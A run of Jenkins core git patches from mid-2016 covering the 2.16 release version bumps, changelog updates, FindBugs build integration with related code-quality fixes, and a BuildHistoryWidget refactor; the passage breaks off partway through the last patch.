        -- GitLab From e02419c61a562d991d8a068a34f357b2342747ca Mon Sep 17 00:00:00 2001 From: Kohsuke Kawaguchi Date: Sun, 31 Jul 2016 17:23:11 -0700 Subject: [PATCH 167/811] [maven-release-plugin] prepare release jenkins-2.16 --- cli/pom.xml | 2 +- core/pom.xml | 2 +- pom.xml | 4 ++-- test/pom.xml | 2 +- war/pom.xml | 2 +- 5 files changed, 6 insertions(+), 6 deletions(-) diff --git a/cli/pom.xml b/cli/pom.xml index 36c2b0ec06..ce3c6ff623 100644 --- a/cli/pom.xml +++ b/cli/pom.xml @@ -5,7 +5,7 @@ org.jenkins-ci.main pom - 2.16-SNAPSHOT + 2.16 cli diff --git a/core/pom.xml b/core/pom.xml index c2539d94b8..db3f62feb8 100644 --- a/core/pom.xml +++ b/core/pom.xml @@ -29,7 +29,7 @@ THE SOFTWARE. org.jenkins-ci.main pom - 2.16-SNAPSHOT + 2.16 jenkins-core diff --git a/pom.xml b/pom.xml index f5eee45f9f..fe8173f186 100644 --- a/pom.xml +++ b/pom.xml @@ -33,7 +33,7 @@ THE SOFTWARE. org.jenkins-ci.main pom - 2.16-SNAPSHOT + 2.16 pom Jenkins main module @@ -58,7 +58,7 @@ THE SOFTWARE. scm:git:git://github.com/jenkinsci/jenkins.git scm:git:ssh://git@github.com/jenkinsci/jenkins.git https://github.com/jenkinsci/jenkins - HEAD + jenkins-2.16 diff --git a/test/pom.xml b/test/pom.xml index 9693291958..2216d2826b 100644 --- a/test/pom.xml +++ b/test/pom.xml @@ -28,7 +28,7 @@ THE SOFTWARE. org.jenkins-ci.main pom - 2.16-SNAPSHOT + 2.16 test diff --git a/war/pom.xml b/war/pom.xml index 3579e55dc9..de34f1b087 100644 --- a/war/pom.xml +++ b/war/pom.xml @@ -28,7 +28,7 @@ THE SOFTWARE. org.jenkins-ci.main pom - 2.16-SNAPSHOT + 2.16 jenkins-war -- GitLab From fa5179ac32a9ace459031be2df92c8b115057dba Mon Sep 17 00:00:00 2001 From: Kohsuke Kawaguchi Date: Sun, 31 Jul 2016 17:23:11 -0700 Subject: [PATCH 168/811] [maven-release-plugin] prepare for next development iteration --- cli/pom.xml | 2 +- core/pom.xml | 2 +- pom.xml | 4 ++-- test/pom.xml | 2 +- war/pom.xml | 2 +- 5 files changed, 6 insertions(+), 6 deletions(-) diff --git a/cli/pom.xml b/cli/pom.xml index ce3c6ff623..8f179e4b8c 100644 --- a/cli/pom.xml +++ b/cli/pom.xml @@ -5,7 +5,7 @@ org.jenkins-ci.main pom - 2.16 + 2.17-SNAPSHOT cli diff --git a/core/pom.xml b/core/pom.xml index db3f62feb8..17e17e1591 100644 --- a/core/pom.xml +++ b/core/pom.xml @@ -29,7 +29,7 @@ THE SOFTWARE. org.jenkins-ci.main pom - 2.16 + 2.17-SNAPSHOT jenkins-core diff --git a/pom.xml b/pom.xml index fe8173f186..50beb6f824 100644 --- a/pom.xml +++ b/pom.xml @@ -33,7 +33,7 @@ THE SOFTWARE. org.jenkins-ci.main pom - 2.16 + 2.17-SNAPSHOT pom Jenkins main module @@ -58,7 +58,7 @@ THE SOFTWARE. scm:git:git://github.com/jenkinsci/jenkins.git scm:git:ssh://git@github.com/jenkinsci/jenkins.git https://github.com/jenkinsci/jenkins - jenkins-2.16 + HEAD diff --git a/test/pom.xml b/test/pom.xml index 2216d2826b..b49ef5f918 100644 --- a/test/pom.xml +++ b/test/pom.xml @@ -28,7 +28,7 @@ THE SOFTWARE. org.jenkins-ci.main pom - 2.16 + 2.17-SNAPSHOT test diff --git a/war/pom.xml b/war/pom.xml index de34f1b087..975f838c15 100644 --- a/war/pom.xml +++ b/war/pom.xml @@ -28,7 +28,7 @@ THE SOFTWARE. org.jenkins-ci.main pom - 2.16 + 2.17-SNAPSHOT jenkins-war -- GitLab From cc3df0b1cb5d0758cf4c607f25ed7417b43df4dc Mon Sep 17 00:00:00 2001 From: Kohsuke Kawaguchi Date: Sun, 31 Jul 2016 17:33:13 -0700 Subject: [PATCH 169/811] updated changelog for release --- changelog.html | 6 +++++- 1 file changed, 5 insertions(+), 1 deletion(-) diff --git a/changelog.html b/changelog.html index 61efd81fec..bdce888953 100644 --- a/changelog.html +++ b/changelog.html @@ -55,6 +55,11 @@ Upcoming changes +

        What's new in 2.16 (2016/07/31)

        • Decouple bouncycastle libraries from Jenkins into bouncycastle-api plugin @@ -73,7 +78,6 @@ Upcoming changes (issue 37032)
        -

        What's new in 2.15 (2016/07/24)

        • -- GitLab From 662b3ef73493ed67c243893b3087ec01ab810f34 Mon Sep 17 00:00:00 2001 From: Pierre Dal-Pra Date: Mon, 1 Aug 2016 13:10:40 +0200 Subject: [PATCH 170/811] Fix quoting in undefined parameters warning log (#2479) --- core/src/main/java/hudson/model/ParametersAction.java | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/core/src/main/java/hudson/model/ParametersAction.java b/core/src/main/java/hudson/model/ParametersAction.java index d3ff1ef803..50a0b8184b 100644 --- a/core/src/main/java/hudson/model/ParametersAction.java +++ b/core/src/main/java/hudson/model/ParametersAction.java @@ -316,7 +316,7 @@ public class ParametersAction implements RunAction2, Iterable, Q if (this.parameterDefinitionNames.contains(v.getName()) || isSafeParameter(v.getName())) { filteredParameters.add(v); } else { - LOGGER.log(Level.WARNING, "Skipped parameter `{0}` as it is undefined on `{1}`. Set `-D{2}`=true to allow " + LOGGER.log(Level.WARNING, "Skipped parameter `{0}` as it is undefined on `{1}`. Set `-D{2}=true` to allow " + "undefined parameters to be injected as environment variables or `-D{3}=[comma-separated list]` to whitelist specific parameter names, " + "even though it represents a security breach", new Object [] { v.getName(), run.getParent().getFullName(), KEEP_UNDEFINED_PARAMETERS_SYSTEM_PROPERTY_NAME, SAFE_PARAMETERS_SYSTEM_PROPERTY_NAME }); -- GitLab From 2e904d10bd17dfdd8ea0aa60b2d72a76fe85a5df Mon Sep 17 00:00:00 2001 From: Daniel Beck Date: Mon, 1 Aug 2016 14:51:11 +0200 Subject: [PATCH 171/811] Noting #2396, #2460, #2469, #2471, #2472, #2478, #2480, #2483, #2484, #2487 --- changelog.html | 41 +++++++++++++++++++++++++++++++++-------- 1 file changed, 33 insertions(+), 8 deletions(-) diff --git a/changelog.html b/changelog.html index bdce888953..3218981092 100644 --- a/changelog.html +++ b/changelog.html @@ -61,22 +61,47 @@ Upcoming changes

          What's new in 2.16 (2016/07/31)

            +
          • + Fix plugin dependency resolution. Jenkins will now refuse to load plugins with unsatisfied dependencies, which resulted in difficult to diagnose problems. This may result in errors on startup if your instance has an invalid plugin configuration., check the Jenkins log for details.
          • - Decouple bouncycastle libraries from Jenkins into bouncycastle-api plugin + Decouple bouncycastle libraries from Jenkins into bouncycastle-api plugin. (issue 36923)
          • - Upgrade to instance-identity module 2.1 - (issue 36923) + Upgrade to instance-identity module 2.1. + (issue 36922)
          • - Hide the Java Web Start launcher when the TCP agent port is disabled + Hide the Java Web Start launcher when the TCP agent port is disabled. (issue 36996) -
          • - If an older version of a detached plugin is already installed it does not get upgraded - (issue 37041)
          • Allow admins to control the enabled agent protocols on their instance from the global security settings screen. (issue 37032) -
          • +
          • + Make sure that the All view is created. + (issue 36908) +
          • + Remove trailing space from Hudson.DisplayName in Spanish, which resulted in problems with Blue Ocean. + (issue 36940) +
          • + Honor non-default update sites in setup wizard. + (issue 34882) +
          • + Display delete button only when build is not locked. + (pull 2483) +
          • + Use build start times instead of build scheduled times in build timeline widget. + (issue 36732) +
          • + Ensure that detached plugins are always at least their minimum version. + (issue 37041) +
          • + Internal: Move CLI commands wait-node-online/wait-node-offline from core to CLI module. + (issue 34915) +
          • + Internal: Allow accessing instance identity from core. + (issue 36871) +
          • + Internal: Fix the default value handling of ArtifactArchiver.excludes. + (issue 29922)

          What's new in 2.15 (2016/07/24)

            -- GitLab From 9d75aa1d790184b55226979fd9a427c5951263f2 Mon Sep 17 00:00:00 2001 From: Daniel Beck Date: Mon, 1 Aug 2016 16:36:59 +0200 Subject: [PATCH 172/811] Fix typos in URL --- changelog.html | 8 ++++---- 1 file changed, 4 insertions(+), 4 deletions(-) diff --git a/changelog.html b/changelog.html index 3218981092..a3dcc675e3 100644 --- a/changelog.html +++ b/changelog.html @@ -74,7 +74,7 @@ Upcoming changes (issue 36996)
          • Allow admins to control the enabled agent protocols on their instance from the global security settings screen. - (issue 37032) + (issue 37032)
          • Make sure that the All view is created. (issue 36908) @@ -95,13 +95,13 @@ Upcoming changes (issue 37041)
          • Internal: Move CLI commands wait-node-online/wait-node-offline from core to CLI module. - (issue 34915) + (issue 34915)
          • Internal: Allow accessing instance identity from core. - (issue 36871) + (issue 36871)
          • Internal: Fix the default value handling of ArtifactArchiver.excludes. - (issue 29922) + (issue 29922)

          What's new in 2.15 (2016/07/24)

            -- GitLab From d8cae8221e5b5ef3b5276fb53879547169a02504 Mon Sep 17 00:00:00 2001 From: Oleg Nenashev Date: Mon, 1 Aug 2016 18:20:27 +0300 Subject: [PATCH 173/811] [FIXED JENKINS-36715] - Invoke FindBugs during the Jenkins core build (#2458) * Move FindBugs call to the parent POM, always run it and generate XMLs * Update FindBugs to 3.0.4 * Filter away Stream encoding issues * Rework FindBugs definitions according to comments from @jtnord * Generalize configuration, findbugs:findbugs now takes it. * Add TODOs to FindBugs excludes file * Remove explicit failOnError * Fix the typo spotted by @jtnord --- cli/pom.xml | 4 +++ core/pom.xml | 24 ++++++++--------- pom.xml | 27 ++++++++++++++++--- .../findbugs/findbugs-excludes.xml | 4 +++ 4 files changed, 43 insertions(+), 16 deletions(-) rename core/src/findbugs-filter.xml => src/findbugs/findbugs-excludes.xml (69%) diff --git a/cli/pom.xml b/cli/pom.xml index 8f179e4b8c..21ba2f46cf 100644 --- a/cli/pom.xml +++ b/cli/pom.xml @@ -92,6 +92,10 @@ + + org.codehaus.mojo + findbugs-maven-plugin + diff --git a/core/pom.xml b/core/pom.xml index 17e17e1591..db5de4ddbe 100644 --- a/core/pom.xml +++ b/core/pom.xml @@ -42,6 +42,8 @@ THE SOFTWARE. 1.243 2.5.6.SEC03 2.4.7 + + false @@ -803,6 +805,10 @@ THE SOFTWARE. + + org.codehaus.mojo + findbugs-maven-plugin + @@ -878,20 +884,12 @@ THE SOFTWARE. + findbugs - - - - org.codehaus.mojo - findbugs-maven-plugin - - Max - High - src/findbugs-filter.xml - - - - + + + true + diff --git a/pom.xml b/pom.xml index 50beb6f824..f08880f729 100644 --- a/pom.xml +++ b/pom.xml @@ -96,7 +96,8 @@ THE SOFTWARE. 1.4.1 0.11 ${skipTests} - 3.0.1 + 3.0.4 + true 1.2 7 @@ -500,6 +501,24 @@ THE SOFTWARE. org.codehaus.mojo findbugs-maven-plugin + ${findbugs-maven-plugin.version} + + Max + High + + ../src/findbugs/findbugs-excludes.xml + true + false + + + + findbugs + + check + + verify + + org.apache.maven.plugins @@ -735,6 +754,8 @@ THE SOFTWARE. + + @@ -773,7 +794,7 @@ THE SOFTWARE. metrics - + org.codehaus.mojo @@ -783,7 +804,7 @@ THE SOFTWARE. - + debug diff --git a/core/src/findbugs-filter.xml b/src/findbugs/findbugs-excludes.xml similarity index 69% rename from core/src/findbugs-filter.xml rename to src/findbugs/findbugs-excludes.xml index 751d3fa8a5..04dd15b6b2 100644 --- a/core/src/findbugs-filter.xml +++ b/src/findbugs/findbugs-excludes.xml @@ -4,13 +4,17 @@ + + + + -- GitLab From d773642ed0e20dca4bb7ed384dc146e580e52c7f Mon Sep 17 00:00:00 2001 From: Oleg Nenashev Date: Mon, 1 Aug 2016 18:34:47 +0300 Subject: [PATCH 174/811] Suppress warning about writing static SystemProperties#theContext from a non-static method --- core/src/main/java/jenkins/util/SystemProperties.java | 3 +++ 1 file changed, 3 insertions(+) diff --git a/core/src/main/java/jenkins/util/SystemProperties.java b/core/src/main/java/jenkins/util/SystemProperties.java index b90f23781c..794e956b1a 100644 --- a/core/src/main/java/jenkins/util/SystemProperties.java +++ b/core/src/main/java/jenkins/util/SystemProperties.java @@ -25,6 +25,7 @@ package jenkins.util; import edu.umd.cs.findbugs.annotations.CheckForNull; import edu.umd.cs.findbugs.annotations.Nullable; +import edu.umd.cs.findbugs.annotations.SuppressFBWarnings; import hudson.EnvVars; import java.util.logging.Level; import java.util.logging.Logger; @@ -87,6 +88,8 @@ public class SystemProperties implements ServletContextListener { * Called by the servlet container to initialize the {@link ServletContext}. */ @Override + @SuppressFBWarnings(value = "ST_WRITE_TO_STATIC_FROM_INSTANCE_METHOD", + justification = "Currently Jenkins instance may have one ond only one context") public void contextInitialized(ServletContextEvent event) { theContext = event.getServletContext(); } -- GitLab From 65d904827f9364988d0eeaca4dba16e722091e93 Mon Sep 17 00:00:00 2001 From: Oleg Nenashev Date: Mon, 1 Aug 2016 18:42:43 +0300 Subject: [PATCH 175/811] Queue.ItemList: Be sure we cleanup the list instead of the entire Queue (IA_AMBIGUOUS_INVOCATION_OF_INHERITED_OR_OUTER_METHOD) --- core/src/main/java/hudson/model/Queue.java | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/core/src/main/java/hudson/model/Queue.java b/core/src/main/java/hudson/model/Queue.java index 28bf6e1af5..94cdd7f217 100644 --- a/core/src/main/java/hudson/model/Queue.java +++ b/core/src/main/java/hudson/model/Queue.java @@ -2773,7 +2773,7 @@ public class Queue extends ResourceController implements Saveable { for (T t : new ArrayList(this)) t.cancel(Queue.this); - clear(); // just to be sure + this.clear(); // just to be sure } } -- GitLab From 96c9ce19ade53fd34f29b28518af7b286ad013e6 Mon Sep 17 00:00:00 2001 From: Oleg Nenashev Date: Mon, 1 Aug 2016 18:50:46 +0300 Subject: [PATCH 176/811] FindBugs: CliManagerImpl#authenticationFilter should be transient , no usages outside constructor --- core/src/main/java/hudson/cli/CliManagerImpl.java | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) diff --git a/core/src/main/java/hudson/cli/CliManagerImpl.java b/core/src/main/java/hudson/cli/CliManagerImpl.java index 7ff5247e85..577cf3ce13 100644 --- a/core/src/main/java/hudson/cli/CliManagerImpl.java +++ b/core/src/main/java/hudson/cli/CliManagerImpl.java @@ -50,10 +50,11 @@ public class CliManagerImpl implements CliEntryPoint, Serializable { private Authentication transportAuth; + //TODO: Migrate the code to Callable decorator /** * Runs callable from this CLI client with the transport authentication credential. */ - private final CallableFilter authenticationFilter = new CallableFilter() { + private transient final CallableFilter authenticationFilter = new CallableFilter() { public V call(Callable callable) throws Exception { SecurityContext context = SecurityContextHolder.getContext(); Authentication old = context.getAuthentication(); -- GitLab From 5a9376230b814d9f3b59ef6260a870bb0c0d0c4b Mon Sep 17 00:00:00 2001 From: Oleg Nenashev Date: Mon, 1 Aug 2016 18:53:03 +0300 Subject: [PATCH 177/811] FindBugs: Wrong message formatting in hudson.model.User#getOrCreate() --- core/src/main/java/hudson/model/User.java | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/core/src/main/java/hudson/model/User.java b/core/src/main/java/hudson/model/User.java index 1cf1ffdf8b..159e25abc1 100644 --- a/core/src/main/java/hudson/model/User.java +++ b/core/src/main/java/hudson/model/User.java @@ -447,7 +447,7 @@ public class User extends AbstractModelObject implements AccessControlled, Descr new Object[]{ legacyUserDir, o }); } } catch (IOException e) { - LOGGER.log(Level.FINE, String.format("Exception trying to load user from {0}: {1}", + LOGGER.log(Level.FINE, String.format("Exception trying to load user from %s: %s", new Object[]{ legacyUserDir, e.getMessage() }), e); } } -- GitLab From e5a728b394f29c69795f2336edf4c4868de3a980 Mon Sep 17 00:00:00 2001 From: Oleg Nenashev Date: Mon, 1 Aug 2016 18:54:40 +0300 Subject: [PATCH 178/811] FindBugs: Wrong WARNING message formatting in hudson.model.UpdateCenter#createUpdateCenter --- core/src/main/java/hudson/model/UpdateCenter.java | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/core/src/main/java/hudson/model/UpdateCenter.java b/core/src/main/java/hudson/model/UpdateCenter.java index cb10f8374b..279754ef3c 100644 --- a/core/src/main/java/hudson/model/UpdateCenter.java +++ b/core/src/main/java/hudson/model/UpdateCenter.java @@ -278,7 +278,7 @@ public class UpdateCenter extends AbstractModelObject implements Saveable, OnMas // Should never happen LOGGER.log(WARNING, "UpdateCenter class {0} does not extend hudson.model.UpdateCenter. Using default.", requiredClassName); } catch(NoSuchMethodException e) { - LOGGER.log(WARNING, String.format("UpdateCenter class {0} does not define one of the required constructors. Using default", requiredClassName), e); + LOGGER.log(WARNING, String.format("UpdateCenter class %s does not define one of the required constructors. Using default", requiredClassName), e); } catch(Exception e) { LOGGER.log(WARNING, String.format("Unable to instantiate custom plugin manager [%s]. Using default.", requiredClassName), e); } -- GitLab From f89cbeb33722b085db41207f7a18ae5dae477368 Mon Sep 17 00:00:00 2001 From: Oleg Nenashev Date: Mon, 1 Aug 2016 18:59:30 +0300 Subject: [PATCH 179/811] FindBugs: Optimize logic of ChannelPinger#pingInterval initialization in order to fix the Integer unboxing issue in the original code --- .../src/main/java/hudson/slaves/ChannelPinger.java | 14 ++++---------- 1 file changed, 4 insertions(+), 10 deletions(-) diff --git a/core/src/main/java/hudson/slaves/ChannelPinger.java b/core/src/main/java/hudson/slaves/ChannelPinger.java index ddc641ba41..2bc6d4cffb 100644 --- a/core/src/main/java/hudson/slaves/ChannelPinger.java +++ b/core/src/main/java/hudson/slaves/ChannelPinger.java @@ -51,21 +51,15 @@ import static java.util.logging.Level.*; public class ChannelPinger extends ComputerListener { private static final Logger LOGGER = Logger.getLogger(ChannelPinger.class.getName()); private static final String SYS_PROPERTY_NAME = ChannelPinger.class.getName() + ".pingInterval"; - + private static final int DEFAULT_PING_INTERVAL_MIN = 5; + /** * Interval for the ping in minutes. */ - private int pingInterval = 5; + private final int pingInterval; public ChannelPinger() { - String interval = SystemProperties.getString(SYS_PROPERTY_NAME); - if (interval != null) { - try { - pingInterval = Integer.valueOf(interval); - } catch (NumberFormatException e) { - LOGGER.warning("Ignoring invalid " + SYS_PROPERTY_NAME + "=" + interval); - } - } + pingInterval = SystemProperties.getInteger(SYS_PROPERTY_NAME, DEFAULT_PING_INTERVAL_MIN); } @Override -- GitLab From 4cfc73b51735515a39f32d950cfdafcbdb807ed6 Mon Sep 17 00:00:00 2001 From: Oleg Nenashev Date: Mon, 1 Aug 2016 19:05:30 +0300 Subject: [PATCH 180/811] FindBugs: Violation of Descriptor newInstance() contract in hudson.scm.RepositoryBrowsers#createInstance deprecated method --- core/src/main/java/hudson/scm/RepositoryBrowsers.java | 5 ++++- 1 file changed, 4 insertions(+), 1 deletion(-) diff --git a/core/src/main/java/hudson/scm/RepositoryBrowsers.java b/core/src/main/java/hudson/scm/RepositoryBrowsers.java index c7d8ab90da..e32f0210ef 100644 --- a/core/src/main/java/hudson/scm/RepositoryBrowsers.java +++ b/core/src/main/java/hudson/scm/RepositoryBrowsers.java @@ -74,7 +74,10 @@ public class RepositoryBrowsers { if(value==null || value.equals("auto")) return null; - return type.cast(list.get(Integer.parseInt(value)).newInstance(req,null/*TODO*/)); + // TODO: There was a TODO in the original code, which presumes passing something meaningful to the newInstance() JSON param + // Now we just pass empty JSON in order to make the code compliant with the defined interface + final JSONObject emptyJSON = new JSONObject(); + return type.cast(list.get(Integer.parseInt(value)).newInstance(req, emptyJSON)); } /** -- GitLab From 33c98f5da1ee1babcc9444140df5138fd0b2ee1b Mon Sep 17 00:00:00 2001 From: Oleg Nenashev Date: Mon, 1 Aug 2016 19:08:42 +0300 Subject: [PATCH 181/811] FindBugs: Handle the non-realistic case of null Staplerrequest in HudsonPrivateSecurityRealm#newInstance() --- .../main/java/hudson/security/HudsonPrivateSecurityRealm.java | 4 ++++ 1 file changed, 4 insertions(+) diff --git a/core/src/main/java/hudson/security/HudsonPrivateSecurityRealm.java b/core/src/main/java/hudson/security/HudsonPrivateSecurityRealm.java index e5710a6be3..ca95fba129 100644 --- a/core/src/main/java/hudson/security/HudsonPrivateSecurityRealm.java +++ b/core/src/main/java/hudson/security/HudsonPrivateSecurityRealm.java @@ -570,6 +570,10 @@ public class HudsonPrivateSecurityRealm extends AbstractPasswordBasedSecurityRea @Override public Details newInstance(StaplerRequest req, JSONObject formData) throws FormException { + if (req == null) { + // Should never happen, see newInstance() Javadoc + throw new FormException("Stapler request is missing in the call", "staplerRequest"); + } String pwd = Util.fixEmpty(req.getParameter("user.password")); String pwd2= Util.fixEmpty(req.getParameter("user.password2")); -- GitLab From 1b99938fa619721b5b1be4da87a27f2e8b0e0117 Mon Sep 17 00:00:00 2001 From: Oleg Nenashev Date: Mon, 1 Aug 2016 19:13:54 +0300 Subject: [PATCH 182/811] FindBugs: The tool cannot into StringUtils.isBlank(), so we optimize the code to workaround it (not a bug) --- core/src/main/java/hudson/security/SecurityRealm.java | 7 ++----- 1 file changed, 2 insertions(+), 5 deletions(-) diff --git a/core/src/main/java/hudson/security/SecurityRealm.java b/core/src/main/java/hudson/security/SecurityRealm.java index 142eeed468..b1fa8a2190 100644 --- a/core/src/main/java/hudson/security/SecurityRealm.java +++ b/core/src/main/java/hudson/security/SecurityRealm.java @@ -523,11 +523,8 @@ public abstract class SecurityRealm extends AbstractDescribableImpl Date: Mon, 1 Aug 2016 19:25:08 +0300 Subject: [PATCH 183/811] FindBugs: Wrap BC_IMPOSSIBLE_DOWNCAST in ToolDescriptor for empty array creation fallback --- .../src/main/java/hudson/tools/ToolDescriptor.java | 14 ++++++++++++-- 1 file changed, 12 insertions(+), 2 deletions(-) diff --git a/core/src/main/java/hudson/tools/ToolDescriptor.java b/core/src/main/java/hudson/tools/ToolDescriptor.java index 056c56cc07..3bf153f234 100644 --- a/core/src/main/java/hudson/tools/ToolDescriptor.java +++ b/core/src/main/java/hudson/tools/ToolDescriptor.java @@ -24,6 +24,7 @@ package hudson.tools; +import edu.umd.cs.findbugs.annotations.SuppressFBWarnings; import hudson.model.Descriptor; import hudson.util.DescribableList; import hudson.util.FormValidation; @@ -71,10 +72,19 @@ public abstract class ToolDescriptor extends Descrip Class t = Types.erasure(pt.getActualTypeArguments()[0]); return (T[])Array.newInstance(t,0); } else { - // can't infer the type. fallacbk - return (T[])new Object[0]; + // can't infer the type. Fallback + return emptyArray_unsafeCast(); } } + + //TODO: Get rid of it? + //It's unsafe according to http://stackoverflow.com/questions/2927391/whats-the-reason-i-cant-create-generic-array-types-in-java + @SuppressWarnings("unchecked") + @SuppressFBWarnings(value = "BC_IMPOSSIBLE_DOWNCAST", + justification = "Such casting is generally unsafe, but we use it as a last resort.") + private T[] emptyArray_unsafeCast() { + return (T[])new Object[0]; + } /** * Overwrites {@link ToolInstallation}s. -- GitLab From f510d1c0393397fe50149d7e7b8c6299305e2bd6 Mon Sep 17 00:00:00 2001 From: Oleg Nenashev Date: Mon, 1 Aug 2016 19:31:05 +0300 Subject: [PATCH 184/811] FindBugs: Log warnings if XMLUtils fail to set the documentBuilderFactory feature value --- core/src/main/java/jenkins/util/xml/XMLUtils.java | 4 +++- 1 file changed, 3 insertions(+), 1 deletion(-) diff --git a/core/src/main/java/jenkins/util/xml/XMLUtils.java b/core/src/main/java/jenkins/util/xml/XMLUtils.java index 38d2d46b29..f5929a38eb 100644 --- a/core/src/main/java/jenkins/util/xml/XMLUtils.java +++ b/core/src/main/java/jenkins/util/xml/XMLUtils.java @@ -233,6 +233,8 @@ public final class XMLUtils { private static void setDocumentBuilderFactoryFeature(DocumentBuilderFactory documentBuilderFactory, String feature, boolean state) { try { documentBuilderFactory.setFeature(feature, state); - } catch (Exception e) {} + } catch (Exception e) { + LOGGER.log(Level.WARNING, String.format("Failed to set the XML Document Builder factory feature %s to %s", feature, state), e); + } } } -- GitLab From 734f16dd70f7ab084e06b4c4e4ab6a2c561a0686 Mon Sep 17 00:00:00 2001 From: Oleg Nenashev Date: Mon, 1 Aug 2016 19:35:15 +0300 Subject: [PATCH 185/811] FindBugs: get rid of the redundant null check in hudson.model.queue.Executables#getEstimatedDurationFor() --- core/src/main/java/hudson/model/queue/Executables.java | 9 ++++++--- 1 file changed, 6 insertions(+), 3 deletions(-) diff --git a/core/src/main/java/hudson/model/queue/Executables.java b/core/src/main/java/hudson/model/queue/Executables.java index 39bd48ea36..df57d9caf0 100644 --- a/core/src/main/java/hudson/model/queue/Executables.java +++ b/core/src/main/java/hudson/model/queue/Executables.java @@ -67,14 +67,17 @@ public class Executables { * or if the executor thread exits prematurely, see JENKINS-30456 * Protects against {@link AbstractMethodError}s if the {@link Executable} implementation * was compiled against Hudson < 1.383 - * + * @param e Executable item * @return the estimated duration for a given executable, -1 if the executable is null */ public static long getEstimatedDurationFor(@CheckForNull Executable e) { + if (e == null) { + return -1; + } try { - return (e != null) ? e.getEstimatedDuration() : -1; + return e.getEstimatedDuration(); } catch (AbstractMethodError error) { - return (e != null) ? e.getParent().getEstimatedDuration() : -1; + return e.getParent().getEstimatedDuration(); } } -- GitLab From 37a8935476d41a9b2198b1095e72a9554fe70864 Mon Sep 17 00:00:00 2001 From: Oleg Nenashev Date: Mon, 1 Aug 2016 19:48:35 +0300 Subject: [PATCH 186/811] FindBugs: Suppress the warning about the ambigious call according to FB guildelines --- core/src/main/java/hudson/model/Queue.java | 7 +++++-- 1 file changed, 5 insertions(+), 2 deletions(-) diff --git a/core/src/main/java/hudson/model/Queue.java b/core/src/main/java/hudson/model/Queue.java index 94cdd7f217..62b289e3f3 100644 --- a/core/src/main/java/hudson/model/Queue.java +++ b/core/src/main/java/hudson/model/Queue.java @@ -121,6 +121,7 @@ import org.kohsuke.accmod.restrictions.DoNotUse; import com.thoughtworks.xstream.XStream; import com.thoughtworks.xstream.converters.basic.AbstractSingleValueConverter; +import edu.umd.cs.findbugs.annotations.SuppressFBWarnings; import jenkins.util.SystemProperties; import javax.annotation.CheckForNull; import javax.annotation.Nonnegative; @@ -2769,11 +2770,13 @@ public class Queue extends ResourceController implements Saveable { return x; } + @SuppressFBWarnings(value = "IA_AMBIGUOUS_INVOCATION_OF_INHERITED_OR_OUTER_METHOD", + justification = "It will invoke the inherited clear() method according to Java semantics. " + + "FindBugs recommends suppresing warnings in such case") public void cancelAll() { for (T t : new ArrayList(this)) t.cancel(Queue.this); - - this.clear(); // just to be sure + clear(); } } -- GitLab From 798530c6928be42e42c11828ebe0618eb5e8cb3c Mon Sep 17 00:00:00 2001 From: Oleg Nenashev Date: Mon, 1 Aug 2016 19:49:15 +0300 Subject: [PATCH 187/811] [FIXED JENKINS-36717] - Enforce FindBugs in the Jenkins core build --- core/pom.xml | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/core/pom.xml b/core/pom.xml index db5de4ddbe..8bfb413471 100644 --- a/core/pom.xml +++ b/core/pom.xml @@ -42,8 +42,8 @@ THE SOFTWARE. 1.243 2.5.6.SEC03 2.4.7 - - false + + true -- GitLab From d735f5e03bee81ee4eef94c2b3f8de9fe1196057 Mon Sep 17 00:00:00 2001 From: Oleg Nenashev Date: Mon, 1 Aug 2016 19:55:58 +0300 Subject: [PATCH 188/811] [JENKINS-36717] - Remove FindBugs priority filters since they do not actually impact the build --- src/findbugs/findbugs-excludes.xml | 9 --------- 1 file changed, 9 deletions(-) diff --git a/src/findbugs/findbugs-excludes.xml b/src/findbugs/findbugs-excludes.xml index 04dd15b6b2..781617524e 100644 --- a/src/findbugs/findbugs-excludes.xml +++ b/src/findbugs/findbugs-excludes.xml @@ -12,13 +12,4 @@ - - - - - - - - - -- GitLab From 55203ebeed1b7e182878d3e3c1184ac042f20473 Mon Sep 17 00:00:00 2001 From: DJ Lee Date: Tue, 2 Aug 2016 14:38:58 -0400 Subject: [PATCH 189/811] [FIXED JENKINS-31791] Optimize BuildHistoryWidget (#2456) * [FIXED JENKINS-31791] Optimize BuildHistoryWidget Refactor HistoryPageFilter to lazily evaluate an iterable of previous runs, instead of instantiating a super long list of builds. Instantiating the whole list can be problematic with lots of historical builds especially if disk IO is slow. --- .../hudson/widgets/BuildHistoryWidget.java | 7 +- .../java/hudson/widgets/HistoryWidget.java | 11 +- .../jenkins/widgets/HistoryPageFilter.java | 159 +++++++++++------- .../widgets/HistoryPageFilterTest.java | 119 +++++++++---- 4 files changed, 190 insertions(+), 106 deletions(-) diff --git a/core/src/main/java/hudson/widgets/BuildHistoryWidget.java b/core/src/main/java/hudson/widgets/BuildHistoryWidget.java index 4b963d7d67..c93d66b435 100644 --- a/core/src/main/java/hudson/widgets/BuildHistoryWidget.java +++ b/core/src/main/java/hudson/widgets/BuildHistoryWidget.java @@ -27,7 +27,6 @@ import jenkins.model.Jenkins; import hudson.model.Queue.Item; import hudson.model.Queue.Task; import jenkins.widgets.HistoryPageFilter; -import org.apache.commons.collections.IteratorUtils; import java.util.Collection; import java.util.LinkedList; @@ -75,11 +74,7 @@ public class BuildHistoryWidget extends HistoryWidget { public HistoryPageFilter getHistoryPageFilter() { final HistoryPageFilter historyPageFilter = newPageFilter(); - List items = new LinkedList(); - - items.addAll((Collection) getQueuedItems()); - items.addAll(IteratorUtils.toList(baseList.iterator())); - historyPageFilter.add(items); + historyPageFilter.add(baseList, getQueuedItems()); historyPageFilter.widget = this; return historyPageFilter; diff --git a/core/src/main/java/hudson/widgets/HistoryWidget.java b/core/src/main/java/hudson/widgets/HistoryWidget.java index 7eed6f7f66..4a502b29b0 100644 --- a/core/src/main/java/hudson/widgets/HistoryWidget.java +++ b/core/src/main/java/hudson/widgets/HistoryWidget.java @@ -30,7 +30,6 @@ import hudson.model.Run; import jenkins.widgets.HistoryPageEntry; import jenkins.widgets.HistoryPageFilter; -import org.apache.commons.collections.IteratorUtils; import org.kohsuke.stapler.Header; import org.kohsuke.stapler.Stapler; import org.kohsuke.stapler.StaplerRequest; @@ -89,7 +88,7 @@ public class HistoryWidget extends Widget { * The parent 